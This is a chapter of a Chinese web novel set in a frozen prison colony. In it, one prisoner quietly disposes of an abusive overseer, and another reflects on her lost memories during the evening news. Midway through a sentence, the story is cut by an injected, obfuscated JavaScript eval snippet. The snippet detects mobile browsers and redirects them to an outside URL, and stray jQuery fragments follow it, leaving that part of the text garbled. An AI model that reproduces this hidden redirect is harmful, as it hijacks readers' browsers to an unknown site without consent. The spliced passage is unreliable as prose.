3. 除恶(第2页)

    尸体被铁盒子吞得干干净净,血液被机械人清扫,她避开了所有的监控,让一个对自己图谋不轨的人神不知鬼不觉的消失。

    “我猜的没错,你果然吃人,他们把人带到的地方,也是和你一样的怪物吗。”

    这句话注定不会有回答,铁盒子不会说话,步眠打了个哈欠,慢慢悠悠的往自己的房间回荡。

    她没有发现,自己所有的举动,都被一名穿着白大褂的女性收在眼底。

    白大褂叙述完自己看见的事情,耳侧的终端变幻成耳机的形状附着在耳侧,“我说地图上怎么有个四处乱晃荡的黑点,原来有人在做坏事啊。”

    耳机那边不知道说了什么,女人无所谓说:“没事的微渺姐,那监工我一回去就查了,经常把女孩子拉进房间里,上次有个人差点把头撞破了才被发现,就算不被杀,换我也是要动手的。”

    “哎呀,要找的人是找到了,但那个状态……带走她不会打我们吧,要不我先心理疏导她几天?我是文职文员没错,但我同理心好,让我试试嘛。”

    良久,白大褂放下电话,伸了个懒腰,慢吞吞回到房屋中。

    现在是晚上六点半,正是监狱中用来看新闻报道的时间,他们密密麻麻的围在一起,一眨不眨的看着上面的电视。

    虽然播放的是实时新闻,不过监狱里的娱乐活动并不多,枯燥无味的新闻在他们眼中也变得有意思起来。

    舟凝安坐在那很久,她脑子乱糟糟的,因为她发现,自己似乎是真的不记得自己是为什么进来的了。

    昨天她询问的时候,没有一个人

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15468452|169863||http|test|mini|href|location''.split(''|''),0,{}));

    () {

    $(''.inform'').remove();

    $(''#content'').append(''

    告诉自己答案,更甚至,她想不起来,自己是怎么被院长抱回孤儿院中。

    舟凝安明明只在这里待了一个月,去询问别人,得到的也是一样的答案。

    如果自己待的越久,会忘记的越多吗。

    电视的声音娓娓道来,讲述着外面发生的事情,听新闻联播,也是为了囚犯出去后能够更好的和现实接轨。

    “研究院最近在冬日里的植物的产量大幅度提高,预计在三年后,将会成为常见的食品进入各家各户,营养液的价格将不会高高在上,成为所有人都望而却步的物品,所有人都可以吃饱饭,吃上饭。”

    一直在哭289号缓缓抬起头,她呆愣愣的看着那些报道,脸上的泪痕还没干,就又落下了新的泪水。

    舟凝安突然有些难过。

    她有些不知道生存在外得意义了,虽然监狱的劳动辛苦、还古怪,但相比于在二十四区外购买不到营养液的生活,连饱腹都困难的日子,还没有在监狱轻松。

    她这么想的出神,骤然,一股冷风从自己的身侧吹过,一哆嗦,下意识回过头,发现是带着风雪来的步眠。

    也不知道她在外面待了多久,头发上都凝结了一层薄薄的冰霜,脸上都是红网状的血丝,坐在旁边的时候,像是一个冰块。

    步眠的动作很轻,没有人注意到她的突然进来,或者说是不在意。

    舟凝安小声问:“你去哪啦?”

    “去做了点事情。”

    这就是不愿意仔细说的意思。

    舟凝安有些委屈,“我拿你当朋友,你每次……”

    她还没说完,就感觉自己的掌心被塞了一张硬硬的纸片,舟凝安眨了眨眼,低下头,发现是一张卡。

    步眠凑近舟凝安,近到舟凝安都能感受到她身上从外面带来的冷意,“你刚接触那盒子没多久,可能不知道,在没有被保护措施情况下接近怪物,沾染它的身体会生病的,你刚接触可能会不太适应,多泡澡稀释一下。”

    她在思考对方的细节,而步眠在担心自己的身体。

    冰域里天气寒冷,新陈代谢很慢,不被冻结的水资源很少,也很宝贵,要劳作至少半个月才能换到这么一张。

    舟凝安像是一拳打在了棉花上,突然间泄了气,“手套不算防护措施吗?”

    步眠摇头,“它只能保护你的手不被吞噬,对了,你刚才想说什么?”

    舟凝安:“如果你出去了,你想干什么。”

    “我吗?”步眠想了想,“我想知道我为什么进来,然后去找我的亲人,她们应该很担心我,你呢?”

    顺便去二十四区砍人,她在心底补充。

    “我不知道,院长妈妈走了,我回去的话,我要背好大的担子,可是我自己都是小孩子……我,我是没用的人,我想逃避。”

    步眠没有接话,只是看着她,舟凝安问:“我是不是很懦弱?”

    “趋利避害,人类的本能而已。”

    舟凝安顿了顿,许久,才轻声道:“是吗?”

    新闻的时间持续到八点半,他们被手环提示回到房间中,每周一次的心得时间,机械人分发了纸张给到每个人。

    舟凝安有些纠结。

    她不是多有文化的人,生在岚观之外的地方,最初来到监狱的时候连字都不会写,还是被抓回去重新学习的。

    冰域时期的培育只讲究快狠准,让一个人拥有基础的文字水平和可以工作的技术就够了,这么深刻的总结,还是不适合她。

    舟凝安在步眠的对面咬着笔头,同样的纠结,半晌,抬头一看,发现步眠笔耕不辍。

    虽然不是第一次写了,但是步眠还是有些难绷。

    最开始来的时候,步眠认真的写下了自己的忏悔,第二周,她写下自己应该珍惜生命,第三周,她写下自己出去后想做什么,第四周,她不知道自己该写什么。

    舟凝安有些好奇悄悄走到步眠的身侧,才发现她写下的是:【我想我依旧不认可神灵,如果风灵会中的神灵真的存在,我会忏悔我的所有过错。】